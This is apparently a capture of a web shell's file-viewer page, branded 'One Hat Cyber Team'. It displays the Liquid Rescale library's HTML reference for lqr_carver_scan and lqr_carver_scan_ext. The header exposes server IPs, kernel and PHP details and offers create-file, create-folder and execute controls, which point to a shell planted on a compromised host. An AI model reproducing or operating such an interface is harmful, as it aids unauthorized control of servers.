⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.74
Server IP:
104.21.96.1
Server:
Linux vmi2315822.contaboserver.net 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.3.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
liblqr-1-0-dev
/
html
/
View File Name :
ref-lqr-carver-scan.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>lqr_carver_scan</title><meta name="generator" content="DocBook XSL Stylesheets V1.79.1"><link rel="home" href="index.html" title="The Liquid Rescale library Manual"><link rel="up" href="ref-carve.html" title="Carver objects"><link rel="prev" href="ref-lqr-carver-scan-reset.html" title="lqr_carver_scan_reset"><link rel="next" href="ref-lqr-carver-scan-by-row.html" title="lqr_carver_scan_by_row"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center"><code class="function">lqr_carver_scan</code></th></tr><tr><td width="20%" align="left"><a accesskey="p" href="ref-lqr-carver-scan-reset.html">Prev</a>�</td><th width="60%" align="center">Carver objects</th><td width="20%" align="right">�<a accesskey="n" href="ref-lqr-carver-scan-by-row.html">Next</a></td></tr></table><hr></div><div class="refentry"><a name="ref-lqr-carver-scan"></a><div class="titlepage"></div><div class="refnamediv"><h2>Name</h2><p>lqr_carver_scan, lqr_carver_scan_ext — read out a multi-size image one pixel at a time</p></div><div class="refsynopsisdiv"><h2>Synopsis</h2><div class="funcsynopsis"><pre class="funcsynopsisinfo">#include <lqr.h></pre><table border="0" class="funcprototype-table" summary="Function synopsis" style="cellspacing: 0; cellpadding: 0;"><tr><td><code class="funcdef">gboolean <b class="fsfunc">lqr_carver_scan</b>(</code></td><td>LqrCarver* <var class="pdparam">carver</var>, </td></tr><tr><td>�</td><td>gint* <var class="pdparam">x</var>, </td></tr><tr><td>�</td><td>gint* <var class="pdparam">y</var>, </td></tr><tr><td>�</td><td>guchar** <var class="pdparam">rgb</var><code>)</code>;</td></tr></table><div class="funcprototype-spacer">�</div><table border="0" class="funcprototype-table" summary="Function synopsis" style="cellspacing: 0; cellpadding: 0;"><tr><td><code class="funcdef">gboolean <b class="fsfunc">lqr_carver_scan_ext</b>(</code></td><td>LqrCarver* <var class="pdparam">carver</var>, </td></tr><tr><td>�</td><td>gint* <var class="pdparam">x</var>, </td></tr><tr><td>�</td><td>gint* <var class="pdparam">y</var>, </td></tr><tr><td>�</td><td>void** <var class="pdparam">rgb</var><code>)</code>;</td></tr></table><div class="funcprototype-spacer">�</div></div></div><div class="refsect1"><a name="idm2353"></a><h2>Description</h2><p> The functions <code class="function">lqr_carver_scan</code> and <code class="function">lqr_carver_scan_ext</code> are used to read out the multi-size image contained in the <code class="classname">LqrCarver</code> object pointed to by <em class="parameter"><code>carver</code></em> one pixel at a time. They store the pixel coordinates in the variables pointed to by <em class="parameter"><code>x</code></em> and <em class="parameter"><code>y</code></em>, and the pixel content in the array pointed to by <em class="parameter"><code>rgb</code></em>; then they move the readout pointer to the next pixel, or they reset it if the end of the image is reached. </p><p> The first one must only be used on the <code class="classname">LqrCarver</code> objects created with <em class="parameter"><code>lqr_carver_new</code></em>, i.e. with 8-bit images, while the second one is general (see <a class="xref" href="ref-lqr-col-depth.html" title="LqrColDepth"><span class="refentrytitle"><span class="type">LqrColDepth</span></span>(3)</a>), but the <em class="parameter"><code>rgb</code></em> pointer must be cast to the appropriate type to be used (i.e pass the address of a pointer to <code class="literal">void</code> to the function <code class="function">lqr_carver_scan_ext</code>, then cast it to a pointer of the appropriate type and use this last one for reading the output). </p><p> The <em class="parameter"><code>rgb</code></em> variable will point to an array which is internal to the <code class="classname">LqrCarver</code> object, so there is no need to allocate memory for it. However, it should only be accessed right after a call to the scan functions, and writing to it must be avoided. </p></div><div class="refsect1"><a name="idm2373"></a><h2>Return value</h2><p> These functions return <code class="literal"><span class="returnvalue">TRUE</span></code> in case the readout is successful and the end of the image was not reached, <code class="literal"><span class="returnvalue">FALSE</span></code> otherwise. If <code class="function">lqr_carver_scan</code> is called over a non-8-bit <code class="classname">LqrCarver</code> object, it will return <code class="literal"><span class="returnvalue">FALSE</span></code>. </p></div><div class="refsect1"><a name="idm2384"></a><h2>See also</h2><p> <span class="simplelist"><a class="xref" href="ref-lqr-col-depth.html" title="LqrColDepth"><span class="refentrytitle"><span class="type">LqrColDepth</span></span>(3)</a>, <a class="xref" href="ref-lqr-carver-scan-reset.html" title="lqr_carver_scan_reset"><span class="refentrytitle"><code class="function">lqr_carver_scan_reset</code></span>(3)</a>, <a class="xref" href="ref-lqr-carver-scan-line.html" title="lqr_carver_scan_line"><span class="refentrytitle"><code class="function">lqr_carver_scan_line</code></span>(3)</a></span> </p></div></div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="ref-lqr-carver-scan-reset.html">Prev</a>�</td><td width="20%" align="center"><a accesskey="u" href="ref-carve.html">Up</a></td><td width="40%" align="right">�<a accesskey="n" href="ref-lqr-carver-scan-by-row.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top"><code class="function">lqr_carver_scan_reset</code>�</td><td width="20%" align="center"><a accesskey="h" href="index.html">Home</a></td><td width="40%" align="right" valign="top">�<code class="function">lqr_carver_scan_by_row</code></td></tr></table></div></body></html>